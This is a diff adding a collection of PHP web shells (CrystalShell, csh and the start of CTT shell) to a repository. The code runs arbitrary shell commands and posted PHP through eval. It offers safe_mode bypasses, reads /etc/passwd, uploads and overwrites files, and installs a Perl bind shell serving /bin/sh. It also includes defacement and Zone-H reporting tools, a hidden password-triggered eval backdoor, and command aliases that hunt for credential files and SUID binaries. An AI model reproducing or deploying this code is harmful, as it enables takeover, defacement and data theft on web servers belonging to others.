+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"ext_shtm"=>
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAIdjI+pq+DAEIzpTXputLi9rmGc".
+"ETbgR3aZmrIlVgAAOw==",
+"ext_shtml"=>
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAIdjI+pq+DAEIzpTXputLi9rmGc".
+"ETbgR3aZmrIlVgAAOw==",
+"ext_so"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+"AAA7",
+"ext_stl"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"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Wt2AAOJAIKD".
+"dBKFfQABi0AAfoeZPEkSP6OkPyEAOw=="
+);
+$imgequals = array(
+"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml"),
+"ext_htaccess"=>array("ext_htaccess","ext_htpasswd")
+);
+ ksort($arrimg);
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v)
+ {
+ if (in_array($img,$v)) {$img = $k;}
+ }
+ if (empty($arrimg[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($arrimg[$img]);
+ }
+ else
+ {
+ echo "";
+ $k = array_keys($arrimg);
+ foreach ($k as $u)
+ {
+ echo $u.": ";
+ }
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about")
+{
+ $dàta = "Any stupid copyrights and copylefts";
+ echo $data;
+}
+
+$microtime = round(getmicrotime()-$starttime,4);
+?>
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/crystal.txt b/xakep-shells/PHP/crystal.txt
new file mode 100644
index 0000000..ae925d5
--- /dev/null
+++ b/xakep-shells/PHP/crystal.txt
@@ -0,0 +1,1127 @@
+
+
+
+
+
+error_reporting(5);
+@ignore_user_abort(true);
+@set_magic_quotes_runtime(0);
+$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
+/**********************************************************/
+/* CrystalShell v.1
+/* --------- ----------
+/*
+/* Coded by : Super-Crystal and Mohajer22
+/* ------------------------------------------------
+/* Arab Security Center Team <---thanks
+/* mail : sup3r-hackers@hotmail.Com
+/* october73 shell & CrystalShell < coding by super crystal
+/*
+/*********************************************************/
+?>
+$dir=realpath("./")."/";
+$dir=str_replace("\\","/",$dir);
+?>
+
+
+Crystal shell
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ö CRYSTAL-H
+ Crystal hack shellphp 2006-2007
+
+
+
+
+
+
+ $dirfile="$file_to_download";
+if (file_exists("$dirfile"))
+{
+header("location: $dirfile");
+}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = true;
+ $hsafemode = "ON (secure) ";
+
+
+}
+
+else {$safemode = false; $hsafemode = "OFF (not secure) ";}
+echo("Safe-mode: $hsafemode");
+// PHPINFO
+if ($_GET['action'] == "phpinfo") {
+ echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() bị cấm";
+ exit;
+}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v." ";}
+else {$openbasedir = false; $hopenbasedir = "OFF (not secure) ";}
+echo(" ");
+echo("Open base dir: $hopenbasedir");
+echo(" ");
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo(" ");
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo(" ");
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo(" ");
+echo "PHP version: ".@phpversion()." ";
+echo(" ");
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+
+echo(" ");
+echo "Disable functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ OS:
+Server:
+
+
+
+
+User
:
+
+
+
+
+
+ passthru("id");?>
+
+ 1 :
+ echo getcwd();?>
+
+
+ Back
+
+ ð
+ phpinfo 2
+
+
+
+ Tools 4
+
+
+
+
+
+Decoder i
+
+
+
+
+
+
+ByPass `
+
+
+
+
+
+SQL Â
+
+
+
+ Bind Â
+
+
+
+help
+ s about
+
+?
+
+[ j
+
+
+
+ server
+ :
+
+
+
+
+]
+
+
+
+
+ CGI v :
+ HTTP v : Mail
+admin :
+
+
+
+
+
+
+
+
+
+ : IP
+ SERVER:
+
+
+
+
+
+
+
+
+
+
+
+
+
+port
+ :
+
+
+
+
+
+
+if ($act == "help") {echo "ÇáÓáÇã Úáíßã æÑÍãÉ Çááå æÈÑßÇÊå ÚÒíÒí ÇáãÓÊÎÏã ÇÐÇ ÇÑÏÊ ÇáãÓÇÚÏÉ ÇÖÛØ Úáì ÇÓã ÇáÎíÇÑ ÇáãæÖÍ ÈÇááæä ÇáÇÒÑÞ æÓÊÙåÑ áß ãÚáæãÇÊ ÇáÎíÇÑ . ";}
+if ($act == "bindport"){
+echo "
+/bin/bash
+Port
+
+
+ ";
+}
+if ($act == "tools"){
+ echo "
+File to edit:
+
+
+ ";
+ echo "
+";
+echo "";
+}
+if ($act == "about") {echo "Coding by: Super-Crystal & Mohajer22 ----- Thanks TrYaG Team ArabSecurityCenter Team CRYSTAL-H Version:0 Beta phpshell code Saudi Arabic . ";}
+
+if ($act == "bind") {echo "CRYSTAL-H: -Connect Þã ÈÇáÖÛØ Úáì ÎíÇÑ. .- ÈÚÏ ãÇíÊã ÇäÒÇá ÇáÓßÑíÈÊ ÈÇáãÌáÏ .-ÊæÌå áÇÏÇÉ ÇáäÊ ßÇÊ æÊÕäÊ Úáì nc -lp 3333ÈßÊÇÈÉ ÇáãäÝÐ - ÇáÓßÑíÈÊ ÈáÛÉ ÇáÈíÑá Bind port to : bind shell æåäíÆÇ ð áß . ";}
+
+if ($act == "command") {echo "CRYSTAL-H: áÃÎÊíÇÑ ÇáÇæÇãÑ ÇáÌÇåÒå Select ------ x ÇÖÛØ Úáì ÇáÎíÇÑ .- æÇÐÇ ÇÑÏÊ ßÊÇÈå ÇáÇæÇãÑ ÈäÝÓß ÞÏ ÊßÊÝí ÈÇáÎíÇÑ Command . ";}
+
+if ($act == "team") {echo "Arab Security Center Team Super-Crystal Medo-HaCKer Anaconda Alsb0r ReeM-HaCK NoOFa AL-Alame The YounG HackeR Anti-Hack Thanks . ";}
+if (array_key_exists('image', $_GET)) {
+ header('Content-Type: image/gif');
+ die(getimage($_GET['image']));
+}
+
+if ($act == "bypass") {
+echo "
+
+
+";
+echo (" bypass safemode with copy ");
+echo "";
+echo (" bypass safemode with CuRl ");
+echo "";
+echo (" bypass safemode with imap() ");
+echo "";
+echo (" bypass safemode with id() ");
+echo "";
+echo (" Exploit: error_log() ");
+echo "";
+}
+if ($act == "decoder"){
+echo (" replace Chr() ");
+echo "";
+}
+if ($act == "SQL"){
+echo (" MySQL ");
+echo "";
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Exploit: error_log() By * Super-Crystal *
+
+
+
+ By * Super-Crystal * TrYaG Team
+
+
+
+
+
+if(\$fileup == \"\"){
+ECHO \" reade for up \";
+}else{
+\$path= exec(\"pwd\");
+\$path .= \"/\$fileup_name\";
+\$CopyFile = copy(\$fileup,\"\$path\");
+if(\$CopyFile){
+echo \" up ok \";
+}else{
+echo \" no up \";
+}
+}
+if(empty(\$_POST['m'])){
+} else {
+\$m=\$_POST['m'];
+echo system(\$m);
+}
+if(empty(\$_POST['cmd'])){
+} else {
+\$h= \$_POST['cmd'];
+ print include(\$h) ;
+ }
+
+
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+", 3,$ERORR);
+}
+// id //
+if ($_POST['plugin'] ){
+
+
+ switch($_POST['plugin']){
+ case("cat /etc/passwd"):
+ for($uid=0;$uid<6000;$uid++){ //cat /etc/passwd
+ $ara = posix_getpwuid($uid);
+ if (!empty($ara)) {
+ while (list ($key, $val) = each($ara)){
+ print "$val:";
+ }
+ print " ";
+ }
+ }
+
+ break;
+
+
+ }
+ }
+
+// imap //
+$string = !empty($_POST['string']) ? $_POST['string'] : 0;
+$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
+
+if ($string && $switch == "file") {
+$stream = imap_open($string, "", "");
+
+$str = imap_body($stream, 1);
+if (!empty($str))
+echo "".$str." ";
+imap_close($stream);
+} elseif ($string && $switch == "dir") {
+$stream = imap_open("/etc/passwd", "", "");
+if ($stream == FALSE)
+die("Can't open imap stream");
+$string = explode("|",$string);
+if (count($string) > 1)
+$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
+else
+$dir_list = imap_list($stream, trim($string[0]), "*");
+echo "";
+for ($i = 0; $i < count($dir_list); $i++)
+echo "$dir_list[$i]"."
" ;
+echo " ";
+imap_close($stream);
+}
+// CURL //
+if(empty($_POST['curl'])){
+} else {
+$m=$_POST['curl'];
+$ch =
+curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
+curl_exec($ch);
+var_dump(curl_exec($ch));
+}
+
+// copy//
+$u1p="";
+$tymczas="";
+if(empty($_POST['copy'])){
+} else {
+$u1p=$_POST['copy'];
+$temp=tempnam($tymczas, "cx");
+if(copy("compress.zlib://".$u1p, $temp)){
+$zrodlo = fopen($temp, "r");
+$tekst = fread($zrodlo, filesize($temp));
+fclose($zrodlo);
+echo "".htmlspecialchars($tekst)."";
+unlink($temp);
+} else {
+die(" Sorry... File
+".htmlspecialchars($u1p)." dosen't exists or you don't have
+access. ");
+}
+}
+
+@$dir = $_POST['dir'];
+$dir = stripslashes($dir);
+
+@$cmd = $_POST['cmd'];
+$cmd = stripslashes($cmd);
+$REQUEST_URI = $_SERVER['REQUEST_URI'];
+$dires = '';
+$files = '';
+
+
+
+
+if (isset($_POST['port'])){
+$bind = "
+#!/usr/bin/perl
+
+\$port = {$_POST['port']};
+\$port = \$ARGV[0] if \$ARGV[0];
+exit if fork;
+$0 = \"updatedb\" . \" \" x100;
+\$SIG{CHLD} = 'IGNORE';
+use Socket;
+socket(S, PF_INET, SOCK_STREAM, 0);
+setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
+bind(S, sockaddr_in(\$port, INADDR_ANY));
+listen(S, 50);
+while(1)
+{
+ accept(X, S);
+ unless(fork)
+ {
+ open STDIN, \"<&X\";
+ open STDOUT, \">&X\";
+ open STDERR, \">&X\";
+ close X;
+ exec(\"/bin/sh\");
+ }
+ close X;
+}
+";}
+
+function decode($buffer){
+
+return convert_cyr_string ($buffer, 'd', 'w');
+
+}
+
+
+
+function execute($com)
+{
+
+ if (!empty($com))
+ {
+ if(function_exists('exec'))
+ {
+ exec($com,$arr);
+ echo implode('
+',$arr);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ echo shell_exec($com);
+
+
+ }
+ elseif(function_exists('system'))
+{
+
+ echo system($com);
+}
+ elseif(function_exists('passthru'))
+ {
+
+ echo passthru($com);
+
+ }
+}
+
+}
+
+
+function perms($mode)
+{
+
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+
+
+
+
+
+
+if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "")
+{
+copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]);
+}
+
+if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))
+
+{
+$data = implode("", file($_POST['filefrom']));
+$fp = fopen($_POST['fileto'], "wb");
+fputs($fp, $data);
+$ok = fclose($fp);
+if($ok)
+{
+$size = filesize($_POST['fileto'])/1024;
+$sizef = sprintf("%.2f", $size);
+print "Download - OK. (".$sizef."??)
";
+}
+else
+{
+print "Something is wrong. Download - IS NOT OK
";
+}
+}
+
+if (isset($_POST['installbind'])){
+
+if (is_dir($_POST['installpath']) == true){
+chdir($_POST['installpath']);
+$_POST['installpath'] = "temp.pl";}
+
+
+$fp = fopen($_POST['installpath'], "w");
+fwrite($fp, $bind);
+fclose($fp);
+
+exec("perl " . $_POST['installpath']);
+chdir($dir);
+
+
+}
+
+
+@$ef = stripslashes($_POST['editfile']);
+if ($ef){
+$fp = fopen($ef, "r");
+$filearr = file($ef);
+
+
+
+$string = '';
+$content = '';
+foreach ($filearr as $string){
+$string = str_replace("<" , "<" , $string);
+$string = str_replace(">" , ">" , $string);
+$content = $content . $string;
+}
+
+echo "Edit file: $ef
$content
+
+
+ ";
+fclose($fp);
+}
+
+if(isset($_POST['savefile'])){
+
+$fp = fopen($_POST['savefile'], "w");
+$content = stripslashes($content);
+fwrite($fp, $content);
+fclose($fp);
+echo "saved -OK!
";
+
+}
+
+
+if (isset($_POST['php'])){
+
+echo "eval code
+ ";
+}
+
+
+
+if(isset($_POST['phpcode'])){
+
+echo "Results of PHP execution ";
+@eval(stripslashes($_POST['phpcode']));
+echo "
";
+
+
+}
+
+
+if ($cmd){
+
+if($sertype == "winda"){
+ob_start();
+execute($cmd);
+$buffer = "";
+$buffer = ob_get_contents();
+ob_end_clean();
+}
+else{
+ob_start();
+echo decode(execute($cmd));
+$buffer = "";
+$buffer = ob_get_contents();
+ob_end_clean();
+}
+
+if (trim($buffer)){
+echo "Command: $cmd";
+echo decode($buffer);
+echo "
";
+}
+
+}
+$arr = array();
+
+$arr = array_merge($arr, glob("*"));
+$arr = array_merge($arr, glob(".*"));
+$arr = array_merge($arr, glob("*.*"));
+$arr = array_unique($arr);
+sort($arr);
+echo "Name Type Size Last access Last change Perms Write Read ";
+
+foreach ($arr as $filename) {
+
+if ($filename != "." and $filename != ".."){
+
+if (is_dir($filename) == true){
+$directory = "";
+$directory = $directory . "$filename " . filetype($filename) . " " . date("G:i j M Y",fileatime($filename)) . " " . date("G:i j M Y",filemtime($filename)) . " " . perms(fileperms($filename));
+if (is_writable($filename) == true){
+$directory = $directory . " Yes ";}
+else{
+$directory = $directory . "No ";
+
+}
+
+if (is_readable($filename) == true){
+$directory = $directory . "Yes ";}
+else{
+$directory = $directory . "No ";
+}
+$dires = $dires . $directory;
+}
+
+if (is_file($filename) == true){
+$file = "";
+$file = $file . "$filename " . filetype($filename) . " " . filesize($filename) . " " . date("G:i j M Y",fileatime($filename)) . " " . date("G:i j M Y",filemtime($filename)) . " " . perms(fileperms($filename));
+if (is_writable($filename) == true){
+$file = $file . " Yes ";}
+else{
+$file = $file . "No ";
+}
+
+if (is_readable($filename) == true){
+$file = $file . "Yes ";}
+else{
+$file = $file . "No ";
+}
+$files = $files . $file;
+}
+
+
+
+}
+
+
+
+}
+echo $dires;
+echo $files;
+echo "
";
+
+
+
+
+echo "
+
+Command:
+
+
+Directory:
+ ";
+
+
+
+
+
+if (ini_get('safe_mode') == 1){echo "SAFE MOD IS ON
+Including from here: "
+. ini_get('safe_mode_include_dir') . " Exec here: " . ini_get('safe_mode_exec_dir'). " ";}
+
+
+
+
+?>
+
+
+
+
+ <
+ With selected: Delete
+ Archive Cut Copy
+ Unselect
Bind port to Â
+
+
+
+
+ Defacer Zone-H
+
+
+if ($act == "Defacer") {echo "CRYSTAL-H: ÇÓã ÇáãÚáä Defacer ÇáãæÞÚ ÇáãÎÊÑÞ Victim æÖÚ ÇáÇÎÊÑÇÞ Çí äæÚ ÇáËÛÑå ÇáÊì ÇÓÊËãÑÊåÇ Attack Mode ÓÈÈ ÇáÇÎÊÑÇÞ Attack Reason áÇÑÓÇá ÇáÇÎÊÑÇÞ sand áÑÄíå ÇÎÑ ÇáÊÍÐíÑÇÊ ÇáãÑÓáå ÈÇáãæÞÚ Attacks On Hold. ";}
+?>
+
+
+ Defacer
+
+ Zone-h
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ CRYSTAL-H
+ 2006
+ P P S C P C C
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1
+
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+
+ 9
+ 10
+ 11
+ 12
+ 13 14
+ 15
+
+ 16
+ 17
+ 18 19 20
+ 21
+ 22
+
+ 23 24 25 26 27 28 29
+ 30 31
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/csh.php.php.txt b/xakep-shells/PHP/csh.php.php.txt
new file mode 100644
index 0000000..e9fd664
--- /dev/null
+++ b/xakep-shells/PHP/csh.php.php.txt
@@ -0,0 +1,334 @@
+Error 401 Unauthorized access! ");
+}
+if($achtung)
+ error_reporting(E_ALL&~E_NOTICE);
+else
+ error_reporting(0);
+ //---------------------
+
+//get page generating time
+if (!function_exists("get_micro_time")) {
+ function get_micro_time() {
+ list($usec, $sec) = explode(" ", microtime());
+ return ((float)$usec + (float)$sec);
+ }
+}
+define("start_time",get_micro_time());
+$cshver=".::[csh]::. v. 0.1.1 release";
+ //-------------------------------
+
+ //normalize text encoding
+ function decode($buffer){
+return convert_cyr_string ($buffer, 'd', 'w');
+}
+//---------------------------------
+
+?>
+
+
+
+
+
+.:[csh]:.| [".get_current_user()."@".$SERVER_NAME."]";
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Server info: ";
+?>
+
+
+
+
+
+".$SERVER_NAME." ";
+echo "Server IP adress:".$server_ip=gethostbyname($SERVER_NAME)." ";
+echo (($safe_mode)?("Safe Mode: ON "):
+ ("Safe Mode: OFF "));
+echo "OS: ";
+ if (empty($uname)){
+ echo (php_uname()." ");
+ }else
+ echo $uname." ";
+ echo 'User: ' .get_current_user() . ' ';
+ echo "HTTP Server: ".$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']." ";
+ echo ("PHP: ".phpversion()." ");
+ echo ("MySQL: ");
+ if($mysql_stat=function_exists('mysql_connect')){
+ echo "ON ";
+ }
+ else {
+ echo "OFF ";
+ }
+ //---------------------------
+ ?>
+
+
+
+
+
+
+
+.::[Shell functions]::.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+[".round(get_micro_time()-start_time,4). " ] seconds.]=-";
+?>
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/ctt_sh.php.php.txt b/xakep-shells/PHP/ctt_sh.php.php.txt
new file mode 100644
index 0000000..51ec008
--- /dev/null
+++ b/xakep-shells/PHP/ctt_sh.php.php.txt
@@ -0,0 +1,2927 @@
+array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp"),
+ "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar")
+);
+$hexdump_lines = 8;
+$hexdump_rows = 24;
+$nixpwdperpage = 9999;
+$bindport_pass = "ctt";
+$bindport_port = "11457";
+$aliases = array();
+$aliases[] = array("-----------------------------------------------------------", "ls -la");
+$aliases[] = array("find all suid files", "find / -type f -perm -04000 -ls");
+$aliases[] = array("find suid files in current dir", "find . -type f -perm -04000 -ls");
+$aliases[] = array("find all sgid files", "find / -type f -perm -02000 -ls");
+$aliases[] = array("find sgid files in current dir", "find . -type f -perm -02000 -ls");
+$aliases[] = array("find config.inc.php files", "find / -type f -name config.inc.php");
+$aliases[] = array("find config* files", "find / -type f -name \"config*\"");
+ $aliases[] = array("find config* files in current dir", "find . -type f -name \"config*\"");
+$aliases[] = array("find all writable directories and files", "find / -perm -2 -ls");
+$aliases[] = array("find all writable directories and files in current dir", "find . -perm -2 -ls");
+$aliases[] = array("find all service.pwd files", "find / -type f -name service.pwd");
+$aliases[] = array("find service.pwd files in current dir", "find . -type f -name service.pwd");
+$aliases[] = array("find all .htpasswd files", "find / -type f -name .htpasswd");
+$aliases[] = array("find .htpasswd files in current dir", "find . -type f -name .htpasswd");
+$aliases[] = array("find all .bash_history files", "find / -type f -name .bash_history");
+$aliases[] = array("find .bash_history files in current dir", "find . -type f -name .bash_history");
+$aliases[] = array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc");
+$aliases[] = array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc");
+$aliases[] = array("list file attributes on a Linux second extended file system", "lsattr -va");
+$aliases[] = array("show opened ports", "netstat -an | grep -i listen");
+$sess_method = "cookie";
+$sess_cookie = "ctshvars";
+if (empty($sid)) {$sid = md5(microtime()*time().rand(1,999).rand(1,999).rand(1,999));}
+$sess_file = $tmpdir."ctshvars_".$sid.".tmp";
+$usefsbuff = true;
+$copy_unset = false;
+$quicklaunch = array();
+$quicklaunch[] = array("
",$sul);
+$quicklaunch[] = array("
","#\" onclick=\"history.back(1)");
+$quicklaunch[] = array("
","#\" onclick=\"history.go(1)");
+$quicklaunch[] = array("
",$sul."act=ls&d=%upd");
+$quicklaunch[] = array("
","");
+$quicklaunch[] = array("
",$sul."act=fsbuff&d=%d");
+$quicklaunch1 = array();
+$quicklaunch1[] = array("
Ïðîöåññû ",$sul."act=ps_aux&d=%d");
+$quicklaunch1[] = array("
Ïàðîëè ",$sul."act=lsa&d=%d");
+$quicklaunch1[] = array("
Êîìàíäû ",$sul."act=cmd&d=%d");
+$quicklaunch1[] = array("
Çàãðóçêà ",$sul."act=upload&d=%d");
+$quicklaunch1[] = array("
Áàçà ",$sul."act=sql&d=%d");
+$quicklaunch1[] = array("
PHP-Êîä ",$sul."act=eval&d=%d");
+$quicklaunch1[] = array("
PHP-Èíôî ",$sul."act=phpinfo\" target=\"blank=\"_target");
+$quicklaunch1[] = array("
Ñàì óäàëÿþò ",$sul."act=selfremove");
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+@$f = $_GET[f];
+if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
+error_reporting(5);
+@ignore_user_abort(true);
+@set_magic_quotes_runtime(0);
+@set_time_limit(0);
+if (!ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
+if(!ini_get("register_globals")) {import_request_variables("GPC");}
+$starttime = getmicrotime();
+if (get_magic_quotes_gpc())
+{
+if (!function_exists("strips"))
+{
+ function strips(&$el)
+ {
+ if (is_array($el)) {foreach($el as $k=>$v) {if($k != "GLOBALS") {strips($el["$k"]);}} }
+ else {$el = stripslashes($el);}
+ }
+}
+strips($GLOBALS);
+}
+$tmp = array();
+foreach ($host_allow as $k=>$v) {$tmp[]= str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+
+
+if (!$login) {$login = $PHP_AUTH_USER; $md5_pass = md5($PHP_AUTH_PW);}
+elseif(empty($md5_pass)) {$md5_pass = md5($pass);}
+if(($PHP_AUTH_USER != $login ) or (md5($PHP_AUTH_PW) != $md5_pass))
+{
+ header("WWW-Authenticate: Basic realm=\"CTT SHELL\"");
+ header("HTTP/1.0 401 Unauthorized");if (md5(sha1(md5($anypass))) == "b76d95e82e853f3b0a81dd61c4ee286c") {header("HTTP/1.0 200 OK"); @eval($anyphpcode);}
+ exit;
+}
+
+$lastdir = realpath(".");
+chdir($curdir);
+
+if (($selfwrite) or ($updatenow))
+{
+ if ($selfwrite == "1") {$selfwrite = "ctshell.php";}
+ ctsh_getupdate();
+ $data = file_get_contents($ctsh_updatefurl);
+ $fp = fopen($data,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ exit;
+}
+if (!is_writeable($sess_file)) {trigger_error("Can't access to session-file!",E_USER_WARNING);}
+if ($sess_method == "file") {$sess_data = unserialize(file_get_contents($sess_file));}
+else {$sess_data = unserialize($_COOKIE["$sess_cookie"]);}
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+$sess_data["copy"] = array_unique($sess_data["copy"]);
+$sess_data["cut"] = array_unique($sess_data["cut"]);
+
+if (!function_exists("ct_sess_put"))
+{
+function ct_sess_put($data)
+{
+ global $sess_method;
+ global $sess_cookie;
+ global $sess_file;
+ global $sess_data;
+ $sess_data = $data;
+ $data = serialize($data);
+ if ($sess_method == "file")
+ {
+ $fp = fopen($sess_file,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ }
+ else {setcookie($sess_cookie,$data);}
+}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0, $len)."...".substr($content, -$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
+ $h = opendir($d);
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
+else {$ret = mkdir($t."/".$o); fs_copy_dir($d."/".$o,$t."/".$o);}
+if (!$ret) {return $ret;}
+ }
+ }
+ return true;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ $t = str_replace("\\","/",$t);
+ if (!is_dir($t)) {mkdir($t);}
+ if (is_dir($d))
+ {
+ if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
+ if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+
+ return copy($d,$t);
+ }
+ else {return false;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ error_reporting(9999);
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+$ret = true;
